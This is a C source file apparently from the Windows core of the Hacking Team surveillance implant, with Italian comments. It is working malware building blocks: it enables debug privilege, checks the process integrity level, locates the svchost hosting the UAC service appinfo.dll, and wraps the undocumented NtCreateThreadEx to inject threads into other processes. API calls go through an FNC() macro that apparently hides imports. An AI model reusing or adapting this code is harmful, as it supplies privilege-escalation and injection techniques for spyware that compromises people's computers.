hackedteam/core-win32

void SetDebugPrivilege(BOOL to_set)
{
    HANDLE hProc = 0, hProcToken = 0;
    TOKEN_PRIVILEGES tp;
    LUID     luid;
    
    do {
        if (! (hProc = FNC(OpenProcess)(PROCESS_ALL_ACCESS, true, FNC(GetCurrentProcessId)())))
            break;
    
        if( !FNC(OpenProcessToken)(hProc, TOKEN_ALL_ACCESS, &hProcToken) ) 
            break;

        if (!FNC(LookupPrivilegeValueA) (NULL, SE_DEBUG_NAME, &luid))
            break;

        ZeroMemory (&tp, sizeof (tp));
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        if (to_set)
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        else
            tp.Privileges[0].Attributes = 0;

        FNC(AdjustTokenPrivileges) (hProcToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    } while (FALSE);

    if (hProcToken)    
        CloseHandle (hProcToken);
    if (hProc) 
        CloseHandle(hProc);
}


#define IL_UNKNOWN    0
#define IL_LOW        1
#define IL_MEDIUM    2
#define IL_HIGH        3
#define IL_SYSTEM    4

#define SECURITY_MANDATORY_UNTRUSTED_RID          (0x00000000L)
#define SECURITY_MANDATORY_LOW_RID                  (0x00001000L)
#define SECURITY_MANDATORY_MEDIUM_RID              (0x00002000L)
#define SECURITY_MANDATORY_SYSTEM_RID              (0x00004000L)
#define SECURITY_MANDATORY_PROTECTED_PROCESS_RID (0x00005000L)
#define SECURITY_MANDATORY_HIGH_RID                 (0x00003000L)

/*typedef struct _TOKEN_MANDATORY_LABEL {
    SID_AND_ATTRIBUTES Label;
} TOKEN_MANDATORY_LABEL, *PTOKEN_MANDATORY_LABEL;*/

BOOL IsVista(DWORD *integrity_level)
{
    HANDLE hProc = 0, hProcToken = 0;
    BOOL is_vista = FALSE;
    PTOKEN_MANDATORY_LABEL pTIL = NULL;
    DWORD dwIntegrityLevel;
    DWORD dwLengthNeeded;

    if (integrity_level)
        *integrity_level = IL_UNKNOWN;

    do {
        if (! (hProc = FNC(OpenProcess)(PROCESS_ALL_ACCESS, true, FNC(GetCurrentProcessId)())))
            break;
    
        if( !FNC(OpenProcessToken)(hProc, TOKEN_ALL_ACCESS, &hProcToken) ) 
            break;

        if ( !FNC(GetTokenInformation)(hProcToken, (TOKEN_INFORMATION_CLASS) 25, NULL, 0, &dwLengthNeeded) ) {
            if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
                pTIL = (PTOKEN_MANDATORY_LABEL) LocalAlloc(0, dwLengthNeeded);
                if (pTIL != NULL) {
                    if ( FNC(GetTokenInformation)(hProcToken, (TOKEN_INFORMATION_CLASS)25,  pTIL, dwLengthNeeded, &dwLengthNeeded) ) {
                        // Se la FNC(GetTokenInformation) torna OK allora siamo su vista
                        is_vista = TRUE;
                        dwIntegrityLevel = *FNC(GetSidSubAuthority)(pTIL->Label.Sid, (DWORD)(UCHAR)(*FNC(GetSidSubAuthorityCount)(pTIL->Label.Sid)-1));
                        
                        if (integrity_level) {
                            if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) 
                                *integrity_level = IL_LOW;
                            else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) 
                                *integrity_level = IL_MEDIUM;
                            else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) 
                                *integrity_level = IL_HIGH;
                            else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) 
                                *integrity_level = IL_SYSTEM;
                        }
                    }
                    LocalFree(pTIL);
                }
            }
        }

    } while (FALSE);

    if (hProcToken)    
        CloseHandle (hProcToken);
    if (hProc) 
        CloseHandle(hProc);

    return is_vista;
}

DWORD FindRunAsService()
{
    HANDLE hProcessSnap;
    HANDLE hModuleSnap;
    PROCESSENTRY32 pe32;
    MODULEENTRY32  me32;
    DWORD service_pid = 0;

    pe32.dwSize = sizeof( PROCESSENTRY32 );
    if ( (hProcessSnap = FNC(CreateToolhelp32Snapshot)( TH32CS_SNAPPROCESS, 0 )) == INVALID_HANDLE_VALUE )
        return 0;

    if( !FNC(Process32First)( hProcessSnap, &pe32 ) ) {
        CloseHandle( hProcessSnap );
        return 0;
    }

    // Cicla la lista dei processi attivi
    do {
        // Vede se e' un svchost
        if (stricmp("svchost.exe", pe32.szExeFile))
            continue;

        if ( (hModuleSnap = FNC(CreateToolhelp32Snapshot)( TH32CS_SNAPMODULE, pe32.th32ProcessID )) == INVALID_HANDLE_VALUE )
            continue;

        // Vede se ha il modulo appinfo.dll
        me32.dwSize = sizeof(MODULEENTRY32);
        if ( FNC(Module32First)(hModuleSnap, &me32) ) {
            do {
                if (!stricmp("appinfo.dll", me32.szModule)) {
                    service_pid = pe32.th32ProcessID;
                    break;
                }
            } while(FNC(Module32Next)(hModuleSnap, &me32));
        }

        CloseHandle( hModuleSnap );

        // Quando l'ha trovato finisce
        if (service_pid)
            break;
    } while( FNC(Process32Next)( hProcessSnap, &pe32 ) );

    CloseHandle( hProcessSnap );
    return service_pid;
}


typedef struct { 
    ULONG Length; 
    ULONG Unknown1; 
    ULONG Unknown2; 
    PULONG Unknown3; 
    ULONG Unknown4; 
    ULONG Unknown5; 
    ULONG Unknown6; 
    PULONG Unknown7; 
    ULONG Unknown8; 
} UnkVistaTh; 

typedef DWORD (WINAPI *NtCreateThreadEx_t) (PHANDLE, ACCESS_MASK, DWORD, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, BOOL, DWORD, DWORD, DWORD, LPVOID); 

HANDLE VistaCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter)
{
    HANDLE hRemoteThread = NULL;
    NtCreateThreadEx_t pNtCreateThreadEx; 
    UnkVistaTh thread_desc; 
    DWORD dw0 = 0; 
    DWORD dw1 = 0; 

    pNtCreateThreadEx = (NtCreateThreadEx_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx" ); 
    if (!pNtCreateThreadEx)
        return NULL;

    ZeroMemory(&thread_desc, sizeof(thread_desc));
    thread_desc.Length = 36; 
    thread_desc.Unknown1 = 0x10003; 
    thread_desc.Unknown2 = 0x8; 
    thread_desc.Unknown3 = &dw0; 
    thread_desc.Unknown4 = 0; 
    thread_desc.Unknown5 = 0x10004; 
    thread_desc.Unknown6 = 4; 
    thread_desc.Unknown7 = &dw1; 
    thread_desc.Unknown8 = 0; 

    pNtCreateThreadEx (&hRemoteThread, 0x1FFFFF, NULL, hProcess, lpStartAddress, 
                       lpParameter, FALSE, NULL, NULL, NULL, &thread_desc);

    return hRemoteThread;
}